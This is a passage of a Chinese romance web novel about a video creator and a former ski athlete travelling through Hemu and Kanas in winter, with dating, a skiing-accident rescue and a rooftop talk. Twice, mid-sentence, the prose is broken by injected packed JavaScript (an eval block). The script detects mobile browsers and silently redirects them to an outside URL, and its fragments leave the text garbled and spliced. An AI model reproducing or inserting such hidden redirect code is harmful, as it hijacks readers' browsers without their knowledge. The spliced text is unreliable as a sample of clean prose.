蔺忱冲完澡出来,就看见黄杏子穿着睡衣在床上滚来滚去,她不爱穿睡裤,房间里暖气开得足,两条腿就赤条条舒展在被子外面。 听到动静她半偏过头,“你过来一下,我觉得我们需要谈谈,不然没法再这么住下去。” 黄杏子情绪来得快,冷静下来也快,“我先和你道个歉,抱歉,我说的话不是那个意思,你别当真。” 蔺忱却问她:“你觉得我们现在是什么关系?” “这重要吗?”她挑眉。 蔺忱点头:“重要。” 既然是床搭子,她其实本没想过思考这个问题,因为在她看来没必要想那么多,双方都在这段关系中获益,释放身心,又没有复杂的感情牵扯,这是男女之间最舒服直接的关系。 “好吧。”黄杏子歪头想了想,“男未婚女未嫁,上过床的关系。” “我赞同,这段关系期间双方必须保持专一,拥有对方伴侣的所有权利,这你认同吗?”蔺忱抬眸看她。 黄杏子没怎么想,“认同。” “蔺忱,我能抱一下你吗?” “当然。”蔺忱微微诧异,张开手拥抱她。 “肖玉理告诉我这些的时候我的第一反应其实不是同情,那种滋味很不好受,我没理解错的话,应该叫心疼。” 她其实不太愿意在这一段不算明朗的关系里袒露真心,但如果有这个必要,她不会介意做这个先行者,不张嘴的纠缠对她来说比失去还痛苦。 蔺忱有自己的骄傲,她能理解,因为她也有自己的。 怀里姑娘仰起头笑容明媚,之间在他腹部的肌肉上打着圈儿,“我觉得以我们的交情,应该不至于闹僵。” “嗯。”蔺忱微微垂头,用行动告诉她答案,黄杏子轻轻拍了拍他的背,像是安慰失落的大狗。 见情绪好了不少,黄杏子控诉:“你那兄弟还撺掇我离开你……你说过不过分。” 蔺忱终于笑了,“别管他,黄杏子,你再动我就不能保证今天晚上还能不能睡了。” - 肖玉理终究还是没能久留,教练打了十几个电话过来催他回去,冬奥会之后不到两个月洲际赛事就要开始,没有时间给他们休息。 肖玉理从早上一醒来就垮着一张脸,打完电话表情很臭,在心里骂了不下百八十遍,活像别人欠了他五十万。 蔺忱怜悯地拍了拍他的肩膀,“以后还有机会,下次再来。” 肖玉理是真不甘心,大老远颠簸跑来这里,什么都没干呢就被叫回去,“你真打算一辈子待在这里,不回去看看?” “暂时没这个打算,我在这里挺好的。”蔺忱笑笑。 肖玉理点了几下头表示理解他的意思,很快调整好情绪得寸进尺道:“那我怎么说也是远道而来的客人吧,你怎么都得请我吃一顿大餐。” 蔺忱表示没问题,黄杏子插话说自己知道一家本地网红店,保证他会喜欢。 十分钟后,三个人坐在人满为患的早餐店里,圆桌上坐满了人,餐厅里充斥着不同的方言语调,一人啃着一个土豆丝饼,面前还有一个包尔萨克和一碗咸奶茶。 肖玉理心服口服地看了两个罪魁祸首一眼,“为什么不让我去那一家。” 黄杏子咧嘴笑容无害,“哪家排队人多就说明哪家好吃,不好吃吗?” 肖玉理还在死死挣扎,“我说的是大餐——” 黄杏子摊了摊手,歪了下头,“餐厅不开门,想吃也没搭,美味往往出现在简陋的大街小巷。” 肖玉理狠狠咬了一大口面饼,还想说什么,蔺忱手一抬,用面饼堵住他的嘴,“快吃,你下午两点的航班。” 肖玉理眼睛都瞪大了,吐出干得噎人的土豆丝饼,手指在他们两人间徘徊了好几下,好像在说“狼狈为奸,一个被窝里睡不出两种人”。 太好逗了,黄杏子在那儿笑,挺给面子的,牢牢捂住嘴巴没笑出声。 蔺忱清咳了两声,正经道:“等你下次来请你吃新疆大餐全肉宴。” 肖玉理冷哼一声,“别给我画大饼,说不定谁到时候又不回我消息。” 黄杏子光顾着笑,刚想说话,一口奶茶灌进气管给她呛着了,疯狂咳嗽,蔺忱吓得连忙给她拍背顺气。 缓过来,她才说:“他要是敢断连,我就把他删了,怎么样,姐罩着你?” “咱俩又没联系方式。”肖玉理说。 黄杏子佯装要把微信二维码打开让他扫,蔺忱睨了肖玉理一眼,两人纷纷闭嘴。 蔺忱恶狠狠用眼神威胁,“你敢删试试!” “那你就得给他做思想工作了。”她笑得没心没肺,像是压根儿就没把这件事放心上,蔺忱心里莫名有些酸酸的,但很快转瞬即逝。 吃饱喝足后由黄杏子带路,在禾木河周围兜了一圈,过了会儿雪瘾,肖玉理回民宿收拾完行李便得抓紧赶路离开了。 身形高大的男孩儿半边身子虚虚拥抱了一下蔺忱,难得表现得有几分煽情,“我走了啊。” 蔺忱回敬,“路上小心。” - 目送肖玉理的车离开,黄杏子打了个哈欠,“走了,回去睡会儿,睡醒再出去。” 蔺忱回神,脸颊就被冰了一下,黄杏子正要收回作乱的手,手腕蓦然被抓住塞入男人温暖的颈间,“出门怎么没带手套?” “忘记了。”黄杏子是出门感受到冷才察觉自己手套没带的,但她不愿折返回去拿,她眨了眨眼,嬉皮笑脸道,“这不是还有你吗?” 蔺忱睨她,眼里好像写着油嘴滑舌四个字,黄杏子笑得更欢了。 既然订了这么高级宽敞的民宿,自然不能浪费了,得好好享受一番。 房间装修的是暖色调复古风,落地窗外能看雪景,屋内温暖舒适,新疆这么冷的天气就适合宅在室内不出门。 在禾木旅居的日子,黄杏子白天在外面收集素材,晚上回民宿写脚本剪视频录口播,然而蔺忱一来,所有工作都被打乱了。 黄杏子拿了电脑出来靠在床上剪视频,蔺忱躺那儿玩手机,瞥见她幽怨的眼神,扑哧一声笑了,“抱歉,下次一定节制。” 黄杏子手伸过去捏住他的下颌骨,微微用了点力,以示不满。 中午民宿的老板娘挨个儿敲门邀请他们一起下去吃饭,黄杏子工作一上午精力消耗快,吃完饭回来就倒头大睡。 下午睡了一觉醒来,两人找了本电影出来看,是一本年份很老的美国乡村爱情片,两个小时的电影,有个人可以一起讨论剧情,时间很快就过去了。 吃过晚饭两人才出门,黄杏子找的是一家酒吧。 这些禾木人真是会做生意,一条路上这边开个酒吧,那边开个KTV,一到晚上热热闹闹,彩灯闪烁。 一推门进去就有狗狗过来蹭她的裤腿,黄杏子几乎一眼就爱上了这里的氛围,小木屋一楼是酒吧,二楼是棋牌室,装修得很有格调,底下有歌手在驻唱,弹的是冬不拉,声音温柔好听。 禾木的冬季是很多滑雪爱好者的常驻地,大家融入这里自得其乐,喜静的人一个人酌酒,喜闹的人陶醉地沉醉在自己的舞蹈之中,而黄杏子和蔺忱往往是那个什么都沾点儿的。 在民宿宅了一天浑身骨头犯懒,黄杏子只跳了一会儿就不愿了,跑去蔺忱身边坐着,口渴了,拿起他手边的酒就猛猛喝了好几口。 “跳完舍得回来了?”蔺忱晃了晃玻璃酒杯,声音懒散。 黄杏子不置可否,又端起酒杯抿了一口,抬眼问他,“这什么酒?好独特的味道。”甜香醇厚还还漾着股酸,回味起来还是甜的。 “加了点沙棘汁。”蔺忱瞥了她一眼,“你可真不客气,我自己一口还没喝呢。” 玻璃杯里的液体只剩下一个底,坏心一起,黄杏子丝毫不害臊地渡了一口给他,还故意问了一句:“好喝吗?” 蔺忱被迫咽下,一个没忍住脱口而出:“你有病啊。” 黄杏子当成耳旁风,“你会调酒?” 蔺忱眼神回避,“误打误撞罢了。”他默默遮住自己偏向黄杏子的那只耳朵,以免被她看到了又要嘲笑戏弄。 小酒馆的灯光昏暗,视线平齐的位置,蔺忱的唇说话的时候微微张合,幅度很小,但黄杏子莫名就觉得性感。 黄杏子直勾勾看着他,直到蔺忱被她盯得全身发毛,眼前突然一黑,眼睛周围的皮肤传来手掌触碰的温度,她才收回目光。 实话说,蔺忱并不是她喜欢的类型,他身上的气质是可能与多年从事远离社会的职业有关,很显年轻的一张帅脸,夹杂着自然浸染的野性和纯净,生活气浓郁,有时候还有些幼稚。 可能人的审美是会变的吧,就像黄杏子从前刷短视频只喜欢看成熟稳重daddy类型的男人,现在却又重新爱上少年感。 “怎么了?我脸上有什么……” 蔺忱手刚摸上下巴就被黄杏子拉下来,“来接吻吗?” “不怕被看到?”蔺忱只手摁住她的肩膀,女人饱满的唇光泽莹润,沾着酒香,已经凑到了跟前,亮晶晶的。 黄杏子蹙起眉,“你介意?” 蔺忱抓住她的手腕禁锢在胸前,任由她逮着他的唇小猫一样蹭,“不该问你的。” 光线昏黄,两人借着酒劲儿藏在隐蔽的阴影里接吻,驻唱歌手已经下班,酒吧里放着RINI的AftertheSun,气氛难得的温柔缱绻。 嘈杂的背景音乐和人声鼎沸吞没他们发出的微弱声响,从浅淡的辗转到纠缠,愈演愈烈,耳朵自动过滤声音,只剩下暧昧的吞咽声。 不知过了多久,黄杏子半张脸被熏得潮热,蔺忱及时把她拉开,她气急败坏,“蔺忱你是不是不行!” 蔺忱不为所动,“我们回去。” 黄杏子一急,咬上他的手,蔺忱眼疾手快用两根手指卡出她的后槽牙,“乖,我们回去。” 黄杏子眼底清明了些许,力道松了,可牙还被他卡着,说不了话,只能支支吾吾表达控诉。 蔺忱趁机把她拦腰抱起,大步离开酒吧。 回民宿的路上下起了雪,天气愈发寒冷,黄杏子再有什么想法也给冻没了,她挣扎了一下,蔺忱放她下来,“清醒了?” 黄杏子不满,“我没喝醉。” 她为了证明自己没到喝醉的程度,摇摇晃晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄杏子“啊”了一声,还真挑起来了,“你说我是去找那个酒吧那个逗一下会脸红的小店员,还是那个会跳Breaking的黑皮帅哥?我记得酒吧旁边那栋小木屋还住了一个哈萨克族的小伙子……” 一旁蔺忱牙都快咬碎了,“你昨晚和我坐在一起眼睛都往别人身上瞟啊!你斜视啊!” “那又怎么样,我那是欣赏的眼神。”黄杏子也不敢把他气太狠了,隐晦地说了句好话,“我这双眼睛对帅哥的敏锐力是天生的,不然也不会进错房间呀。” “……”蔺忱被她闹了这样一出,也清醒了,起身换衣服。 洗漱完出来,黄杏子还在她那半人高的行李箱里挑挑拣拣,几套图案花色不同的毛衣、裤子,还有两三条围巾,上下反复搭配。妆倒是化得挺快,只剩腮红没打。 最后挑了一套撞色风格,搭了一顶冷帽,黄杏子审美在线,买衣服惯常追求个性,撞衫是她绝对不允许出现的。 禾木的白桦林成片,包围着雪山和村庄,阳光透过斑驳的枝桠洒落下来,正好落在她的身上,一晃一晃的。 黄杏子来了这么多天,仍然稀奇脚下踩起来脚感很好的雪垫子,一蹦一跳的,蔺忱在她后面跟着,她似乎总是保持着对新鲜事物的好奇和热情。 走到茂密树林的深处她才停下脚步,把相机交给蔺忱。蔺忱这个当领队的,拍照还是有两把刷子的,他有自己的一套审美,尽管黄杏子有时候并不买账。 蔺忱坚持:“信我一次,绝对好看。” 黄杏子翻看着前面拍的照片,好看是好看,但总觉得少了点儿什么,具体是什么,她也说不出来。 黄杏子选择信他一次,“好吧。” 蔺忱让她在雪地里边跑动边扔雪球,跳起来仙女散花,背对着弯腰大笑,总之动作幅度越大越好看,笑容越大越有生命力。 黄杏子笑起来会露出粉色的牙龈,笑起来眼睛睁不大,会眯成一条细细的缝,像正月初五的峨眉月,奈何她美而不自知,对于这么大幅度的露齿笑很不习惯,因而她拍照很少笑。 “这能好看吗?”她莫名有些不自在。 蔺忱无奈,手里动作却没停,“你能不能对我有点信心,我干领队的这几年就没人说我拍照不好看。” 干领队这一行总要有点拍照技术,蔺忱是自学的,黄杏子回忆了一下之前他给拍的照片,不能说好看到哪里去,至少横平竖直,会主动弯腰蹲下,也不知他怎么这么自信。 白桦林里咔咔声不断,快门速度按得快要起火了,停下时黄杏子已经气喘吁吁了,又是蹦又是跳的,太消耗体力。 相机里存下了快百张,不能说每一张表情都很崩,但总有一张是让黄杏子眼前一亮的,后期修修还算是一张令她满意的照片。 区别于从前摆拍痕迹严重的感觉,女孩儿笑得肆意开怀,多了几分生命力和活人感。 蔺忱发自内心得觉得,她比那些浓妆艳抹的美女耐看多了,“多笑笑,你笑起其实很有感染力。” 从前很多人也这么夸她,也只是会用这句话夸她,说她的笑容有感染力,黄杏子从来只是笑笑然后说感谢的话。 她长得并不符合传统意义上的漂亮,皮肉包裹度高,面部偏锐感,偶尔会给人感觉有点凶,没有亲和力,偶尔也会有些容貌焦虑。 “好看吗?” “好看,很美。”他人实诚,不会搞那些虚头巴脑的东西,也是真心夸赞。 黄杏子满意地把相机递回给他,打了个哆嗦,想要再快拍几张早点结束。 蔺忱不知道发什么疯,踢了一脚她身后的白桦树,树上的雪扑簌簌往下掉,黄杏子来不及躲,落了她满头。 快门声连续响起,女人仓皇抱头逃跑,惊慌失措的表情在相机里生动可爱,蔺忱忍不住噗嗤一声笑出来,见她瞪过来,嘴上求饶,“很可爱。” “笑毛!吃我一招!” 黄杏子不是肯吃亏的主儿,从地上兜起一捧雪当头盖他头上,两人头发上沾满了雪粒,一个比一个狼狈。她一把抱过相机,怜惜地摸了摸,“别把我小宝贝冻坏了。” 嘿,还小宝贝。 蔺忱在心里安慰自己说等她看到相机里的照片就折服了,他地位还没一个佳能相机高么,混那么惨。 13. 禾木 下午两人驱车前往吉克普林滑雪场,蔺忱也许久没去了,心痒得很,自己工作的雪场那边他请了年假,毕竟这种机会总是不多的。 吉克普林滑雪场是每年冬天滑雪人的天堂,亚洲最大的滑雪场,每年都有数以万计的滑雪发烧友奔赴这里过冬。 黄杏子去不了专业级别的雪道,只能在普通雪道耍,蔺忱车里常备雪具,一下车直奔长度11.176公里可可托海道,问黄杏子去不去,她急忙摆摆手,“你去吧,我就算了。” 吉克普林雪场暖光灯雪质好,滑起来痛快,蔺忱格外享受脚踩雪板时与风对抗的感觉,“掌舵者”需要全身心地专注在这一件事上,排除其他杂念。 北方小孩的冬天没有不和雪打交道的,蔺忱的父母很少管他,他通常一放学就和朋友去雪地里玩,开发各种花式玩雪,还能在结冰的道路上玩滑板。 他从10岁那被他的启蒙滑雪教练挖到国家队开始系统学习滑雪,在决定走上这条路的时候,就再也没了回头路,因此当陌生的剧痛传来的时候,他的大脑是空白的。 因而当类似的信号出现的时候,他本能地想要阻止这场悲剧。 事情就发生在一刹那,年轻的女孩儿脚下的雪板突然失控,朝一边倒去,撞上被薄薄的雪被包裹的山体。 她速度控制得不好,不知是划伤了哪里,断断续续有血从身下流出来,染红了洁白的雪。 女孩还在往下滑,血痕一路往下,强烈的视觉冲击撞击他的瞳孔,周围还有其他人在不断上来,蔺忱清楚地明白二次伤害的不可逆。 他熟练地避开雪道上的人,用了点儿巧劲儿,在即将撞上围栏时用身体把人截停,卸下雪板插入雪里警示周围。 蔺忱入职当教练时参加过滑雪急救培训,确认女孩儿尚有意识后,用保温毯覆盖在她身上,立即拨打了救援电话,蹲下身与她对话。 救援队来得及时,初步诊断过后,给她上了脊柱板,女孩儿安全被转移到救护车上,蔺忱则留下来协助巡逻队填写事故报告。 全部提供完成信息后,全身紧绷的神经才放松下来,疲惫和后怕潮水般占据他的大脑,手脚疲软。 黄杏子找过来的时候,蔺忱一动不动坐在售票大厅的休息长凳上,垂着眸好似在发呆。 女人走到他身旁,“走了,回去。” 蔺忱没什么反应,直到黄杏子伸出一只手在他眼前晃了晃,他才抓住她的手慢吞吞站起身跟在后面。 回程的时候是黄杏子开车,天色逐渐暗下来,黄杏子减慢了速度,车内一派安静,她扭头瞥了眼副驾驶,蔺忱靠着窗睡着了。 回到民宿的时候,民宿老板一家正准备开饭,看见他们进院子里的木门,笑着询问他们今天去哪儿了,吃饭了没有。 黄杏子回说去滑雪了,正准备要出去吃饭,老板闻言便热情地邀请他们一起吃饭。 老板还从储物间里到腾出一个烧烤架,拿出下午串好的新鲜羊肉串出来烤,黄杏子主动包揽下这个任务。 羊肉串简单处理过,肉质也是顶好的,肥瘦相间,下午现杀的,红艳艳的,还带着羊肉自然的鲜味。 蔺忱在一旁给羊肉串刷油,防止粘连,一串一串刷好放进托盘里。 黄杏子上大学的时候周末经常和室友出去吃烧烤,学生会部门也会去烧烤园区团建,烧烤这一块儿游刃有余。 老板抓了一把粗盐均匀撒在串身上,简单腌制,又抹了少许洋葱汁去腥,“先离火15厘米左右让羊油滴落引火,让火焰燎烧表面。” 哈萨克族的传统烤串方法讲究原汁原味,不提前腌制,只加简单的天然调味料,水分流失少,锁住了羊肉原本的鲜味,因此烤出来的羊肉串鲜美甜嫩。 他说话的语调带着些许哈萨克语的影子,黄杏子又问了一遍才堪堪理解到他的意思。 “翻一下面。”蔺忱过来帮忙一起烤。 蔺忱烤串儿的手法要娴熟许多,耍杂技一样,有模有样的专业,连端菜出来的老板娘都夸了句厉害。 黄杏子凑过来调侃:“你这手法,可以去街上摆摊开烧烤店了。” 蔺忱失笑:“这我还真干过。” 尚未痊愈的那段时间没法滑雪,必须有一份工作来维持生计,他就找了一家烧烤店打工,手法是在那儿练出来的。 黄杏子很给面子地“哇”了声,“有啥绝技展示展示?” 蔺忱还真有自己的一套耍活儿的独门绝技,是他自己琢磨出来的,工作枯燥的时候找的乐子,只不过他都藏着掖着,生怕自己老板看到让他去门口摆个摊儿表演。 只见蔺忱一手抓着一把铁签子,手腕稍一用力,烤串儿接连抛到空中,稳稳落入另一只手,鲜红的肉串在火焰间翻转舞动,伴随着鲜亮的火星子,动作漂亮流畅。 烤串儿在他手中翻舞,轻得像一只蝴蝶,流浪的狗闻着味儿香得蹲在烧烤架边流口水。衔着香料瓶的指尖一抖,趁热撒上孜然和干辣椒碎,另一只手甩着一大捧铁签棒,撒得很均匀。 黄杏子被他的说辞笑得一颤一颤,凝神一看又目瞪口呆,手里也不敢松懈,捏着的铁签都快要抖掉了,比了个大拇指说:“真的行。” 蔺忱朝她伸手,“托盘拿来。” 黄杏子连忙拿来垫了吸油纸的铁托盘,手上一沉,还挺重的,真不知道蔺忱是怎么做到一只手捏这么多的。 蹲在蔺忱腿边的狗狗跟了过来,黄杏子脚步停住,笑着哄,“乖bro,你不能吃哦,吃了会拉肚子的。” 羊肉串上桌,桌上饭菜也上齐了,老板娘招呼他们赶紧坐下来吃饭。桌上还有其他被老板叫下来的住户,屋内添了暖炉,一顿饭热热闹闹的。 这一顿吃了个尽兴,羊肉串就一连吃了五串,老板说别客气,黄杏子摸了摸鼓起的肚子苦笑说真的吃不下了,再吃肚皮就要撑爆了。 今天这一顿之后,短时间内她都不想再吃羊肉串了。 晚饭后蔺忱提议出去散步消食,黄杏子从老板那儿顺了片健胃消食片才走。禾木夜晚的路上出门散步的人不少,三三两两结伴,适合谈心事。 这一片住户聚集,酒吧餐厅聚集,比较喧闹。蔺忱和黄杏子两人走在路上谁也没说话,就这么安静地走着。 走着走着就逛远了,周围声音逐渐小起来,耳边只有大自然发出的声音以及踩雪的细微声响。 蔺忱主动开口:“我今天在雪场救了个姑娘,大转弯的时候没控制好摔倒撞到了岩石,送去医院了。” 黄杏子心口一紧,抬眸,“她没事儿吧?” 蔺忱沉声道:“初步诊断是轻微脑震荡,小腿腿骨骨折。” “没什么大事就好。”黄杏子悬着的心稍稍落下,干巴巴安慰道。 每年因为滑雪受伤人不少,一次失误可能会导致后半生饱受伤病折磨的滑雪人太多太多了,那就是插在蔺忱心中的一根刺,一辈子不可能痊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816869|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愈的伤疤,时不时钝痛,反复溃烂。 黄杏子和那晚上青旅里看冬奥直播的那些普通人们只能感慨叹息,甚至无法感同身受。 她顺着梯子爬上屋顶,冲蔺忱招手,“上来。” 路灯把夜晚的禾木照成暖黄色,天空呈现深蓝色,点缀着若隐若现的星点,深邃静谧, 她说:“我应该没跟你讲过吧,我大学的时候学环境设计,拿着国家级奖学金,年年绩点第一,出来之后如愿在一家大厂工作。” “我上学的时候房地产还是香饽饽,等我出来工作这个行业就不行了,很多公司都开始裁员,很多同学出来都转行了。” “我当初还信心满满地想闯出一番天地来,以为不过是加班,工资减少了,我想以我的耐力和能力,依旧可以做得很好。” “然而等待我的是无止尽的加班改方案,客户的刁难和骚扰,更可悲的是他们艺术和项目根本是不兼容的,他们需要的不是有创意审美的设计师,而是听话的机器。” 这是黄杏子第一次那么深入地聊她的过去,把从来没有说出过口的话,说给了一个认识了不到一个月的人听。 人生在世找到一个同频的人是多么不容易的事,如此令人感到荒谬又不可思议的是,过去二十六年没有做到的事情,她在裸辞后的短短一个月内就做到了。 即使做不了恋人,他们至少是朋友。 她语速不快,徐徐的:“我还以为……我的精神要崩塌了,现在想想,其实迈出了那一步,什么狗屁的执念不甘,都没那么重要了。” 新疆的广阔让一切都显得很微弱,你的执念给谁看呢,在意的只有你自己。淌着火闯过去又是一条好汉,过不去就浪费了老天给你第二次重启的机会。 “从那个时候我终于明白了,人生就那么回事儿,它好不了但也坏不到哪里去,无非是好一点儿糟一点儿的区别,没有人的路是一帆风顺的。” 黄杏子仰头指了指天空,“人生的容错率是很高的,重要的是怎么去看待。” 云无声无息聚拢,星星看不见了,雪又纷纷扬扬地落下来,蔺忱伸手接住,看着它缓慢落到手心融化,“又下雪了。” 这么多年远离竞技场的生活,蔺忱以为自己早放下了,自己在过一种新的生活,老天给了他一次痊愈的机会,让他做回普通人,不用再背负那么重的压力,他其实还挺庆幸的。 这回应该是真能放下了,蔺忱想。 “还坐一会儿吗?”黄杏子把手伸进屋顶的雪。 蔺忱握住她冻得通红的手,暖意传入四肢百骸,“回去吧,一会儿又有人得怪我耽误她剪视频的时间。” 黄杏子不爱戴手套,她喜欢感受和雪接触时冰冰凉凉的感觉,即便到后来总会冷得发疼,蔺忱一管她,她就把手伸进他围巾下的脖子里。 “那再坐一会儿吧,懒得走了。”她觉得这个视角的禾木真的很美,喧嚣的、宁静的、荒芜的,全部纳入眼底。这样想着,她拿起手机录了一段。 黄杏子不禁有些感慨人的适应能力,孤身一人来到一个人生地不熟的地方,没有离开前想象的多艰难辛苦,她就像打不死的小强一样,只要有一粒米,依旧能过得很好。 蔺忱也是,想着自己的事,顺便用余光看看她。 禾木的雪像飘落的纸片,很轻,落在人身上也不疼。天空奏起无声的序曲,两颗柔软的心靠在一起,似乎不再寒冷,甚至温暖起来。 14. 喀纳斯 翌日离开禾木时,还在下雪。 驶入禾木公路,手机信号变弱,两辆车一前一后行驶在荒茫的雾气之中。 一下雪,洁净的雪原就好像被冻住了一样,雾气藤绕,这份美才进入辽寂孤独的冬令时,然而牧人们转场的脚步不会停。 新疆的风景,最鲜活的不在目的地,而是在路上遇到的偶然。 他们在路上迎面被一群羊堵了。 蔺忱的车停下,黄杏子探过头,在对讲机里问他:“前面挡路的是羊吗?” 蔺忱应了一声,“是喀纳斯的牧民。” 这家的牲畜规模不大,大概快七八十头,而且只有羊,和她之前读的《冬牧场》里居麻一家相似,他们还在采取最原始的转场方式:骑马赶羊。 但蔺忱说这些年阿勒泰牧民们的过冬方式发生了很大的变化,大多数牧民家族都采用半定居的方式,并不会完全离开。 黄杏子伸长脖子去看羊群,羊群倒是不紧不慢,埋头慢悠悠走着,丝毫不担心没草吃。 牧民们却是实实在在要赶路的,早点抵达扎营地,早点让他们吃上草,好早点安顿下来烧点茶喝,暖暖冻僵的身体,去去一天的疲惫。 年轻一点儿的小伙子骑着马在前面开路,家里年长的父亲在后边赶羊,羊群逐大流,但也有好动的,常常不打一声招呼就从路肩涌到马路,后面一群都跟着走。 牧民显然是见怪不怪了,手中长鞭甩出脆响,“咻咻”地呵斥两声,队中的牧羊犬立马像听到了命令一样前去围挡。 挡路的羊群散开,冗长的队伍倒退着映入眼帘,黄杏子预估了一下,竟然有两三辆长途大巴的长度。 接着又行驶进了无人的森林雪原,树木安静挺立在路的两旁,雾凇皑皑,雪山环绕,眼前的盘山公路长得看不到尽头,雪停了,天空是淡蓝色的,慢慢的有太阳出来照亮山头。 车子开得很慢,一半是为了安全,另一半是想要独享这一路的风景。 路上还遇到了黄杏子念念不忘的狐狸,是一只体型不大的赤狐,毛发鲜亮杂糅雪色,四条腿是黑色的,耳边也有一圈黑色的毛。 车窗降下,小家伙藏在树木后面,听见人类喊她的声音动摇了半分,前进几步,远远站立着。 车子开出狭窄的盘山公路后,蔺忱说带她去一个地方。 两人弃了车,靠着两条腿,穿过一大片广袤的被雪覆盖的草地,朝着森林深处走去。 这里的雪地倒是和禾木又不一样了,雪被稀疏,薄薄的一层,高起的地方没有积雪的覆盖,露出黄色的枯草。 “这里的雪好浅。”黄杏子说。 踩雪的声音细碎好听,沙沙的,冬天独有的声响,她的声音也轻轻的,干净动听。 “今年喀纳斯下雪要少一点,禾木下得多,往年这里的雪还要厚很多,牧民家的牛羊只能吃夏天存起来的干草,有时候还得挨饿。” 雪原中间孤零零立着一个毡房,黄杏子经过的时候快步走过去看了一眼,毡房是空的,只剩下一个空壳和几片布。 也是,这么冷的毡房根本抵御不了寒冷。 “那他们搬去哪儿了?”她又问。 蔺忱回答:“小木屋吧,那儿比较暖和,夏季转场的时候又会回到这里。” “哦。”黄杏子垂眸看着脚下的雪地,不一会儿抬头眺望了下,耐不住性子,“什么时候能到啊。” “马上到了,走过这片森林。”蔺忱微微落下一步顺手揉了揉把她的羊毛帽,女人呆了呆,抬眼看他。 她睫毛上结了白色的霜,头发上也有,蔺忱觉得特别像珍珠。 “你干嘛?”黄杏子后知后觉。 蔺忱笑了笑,“没事。” 森林深处有斑驳的影子在晃,她眯着眼认出轮廓,“那边……是不是牛!” 嘿!还不止一头。那些大家伙们有些背上还残留着雪,低头心无旁骛从积雪缝隙中捡草吃。 蔺忱觉得自己的语气也应该惊喜一点,“是啊,是牛!”说完自己在那里憋笑。 这些牛依然保持着夏季水草丰盛时的悠闲自在,身后的尾巴一扫一扫,即便有人在走近,也没有抬头的,没人能打扰它们的从容。 “hi~guys!” “你们从哪里来呀?” “吃饱了吗朋友?要不要来点?”她从包里翻出真空玉米,对着牛群扬了扬,手里忽然一空,扭头看过去的时候,玉米已经被蔺忱咬在嘴里了。 他还要“呸”一下,“你这玉米差点把我牙齿磕掉,赔钱!” 蔺忱这下是真的后悔自己手贱了,嘴也贱,第一次这么恨自己的眼疾手快。玉米冻得梆硬,能和石头媲美,真要咬下去,这一口从小他引以为傲的大白牙该保不住了。 黄杏子睨他一眼,“该!好玉米。” 蔺忱捂着牙侧的脸颊,痛到精神恍惚,过一阵子缓过来了,含糊着声音骂了一声,“操,差点以为自己已经不在人间了……” 他一脸深恶痛绝,冲黄杏子又招招手,“玉米。” “喏。”黄杏子狐疑地递过去,又警惕地抽回来,“你想对我的玉米做什么。” 蔺忱把玉米的包装袋调了个面正对着她,“记住这个牌子,以后不许买了。” 干的什么蠢事,以后不许干了。 “好好好,你好,它坏。”黄杏子要笑死了,憋笑不成笑得花枝乱颤,扶着膝盖弯着腰,肩膀都在剧烈地颤抖。 半晌笑够了平息下来,她才直起身子,“你幼不幼稚啊,蔺忱。” 蔺忱回怼:“谁允许做了大人就不能幼稚一点了?” 这句话是对的,黄杏子不能比这再赞同了,她点点头扬着下巴,“行吧,那以后我把它拉入黑名单了,谁让它欺负我们小蔺呢。” 打发完了蔺忱,黄杏子继续兴致勃勃地和安静的牛说话,整个树林里都是她叽叽喳喳的声音,牛终于转了个身,换了个地方吃草,置若罔闻。 蔺忱站在旁边置身事外,一副我不认识她的模样。 牛群自然是没有理她的,黄杏子便举着手机录像,扬言要把他们的罪证记录下来发到网上。 一个两个都懒得理她,黄杏子不介意,她就是这样一个有些聒噪的姑娘,心情好的时候喜欢制造一些声音出来,不管有没有人陪她一起。 走着走着就出了树林,没有树木的遮挡,看清楚眼前景象的那一刻,黄杏子嘴巴一张,直接“哇”了出来。 好大的一片雪地,前面就是一片冰冻上的湖,湖对面种满白雪皑皑的雪松,与披着雪被的山作伴,这一片已经没有牛了,一个脚印也看不到,全是无人问津的原生态。 蔺忱塞了个拳头在她唇边,逗她,“嘴巴张那么大,来,吞个拳头。” 黄杏子简直气笑了,蔺忱有时候也挺无聊的,她一个人就够吵了,蔺忱怎么有时候比她还会烦,但他有一个有趣的灵魂,这两种特质中和一下,她还是能忍那么一下的。 蔺忱眼里的黄杏子就像见到草地撒欢的小狗,到处撒尿占领领地,至于吗,就像这辈子没见过雪一样,玩了这么多天雪还没看腻。 她上面不知道穿的啥乱七八糟的,下面穿了一条红色的长裙,裙子快到脚踝,搭配挺奇怪的,但就是看得越久越顺眼,据她说那叫前卫。 总之那姑娘太明媚了,穿搭也和她这个人一样,即便五官不是很突出,站在人群里也应当是耀眼的。 新疆实在是宝藏得离谱,厚厚的密林之后居然有那么一大片无人打扰的秘境,简直太不可思议了。 黄杏子心潮澎湃,找着角度自拍,她拍照的时候是不允许人打扰的,谁喊她都没用。 而且这女人极其的吹毛求疵,一张照片得拍好几遍,等起来慢,蔺忱索性口袋一插,找了个地方坐。 她只有在需要蔺忱这个工具人帮忙拍照的时候想起他。 这半个小时打仗一样,消停下来,两人都精神上疲惫了,找了个地方躺下赏景。 蔺忱去哪儿都背着包,像个哆啦A梦,包里总是能掏出一些不常见的东西,你说没用它还真挺实用,你说它有用,其实也没那么必要。 “垫着,衣服会湿。”两个垫子,一大一小,大的那个长度够躺,蔺忱把大的那个丢给她,自己展开小的铺在地上,已经大剌剌坐下了,背后靠着背包。 “你还随身带屁垫?”黄杏子摸了摸,很轻,难怪他能随身带,材质还挺结实,比泡沫塑料好。 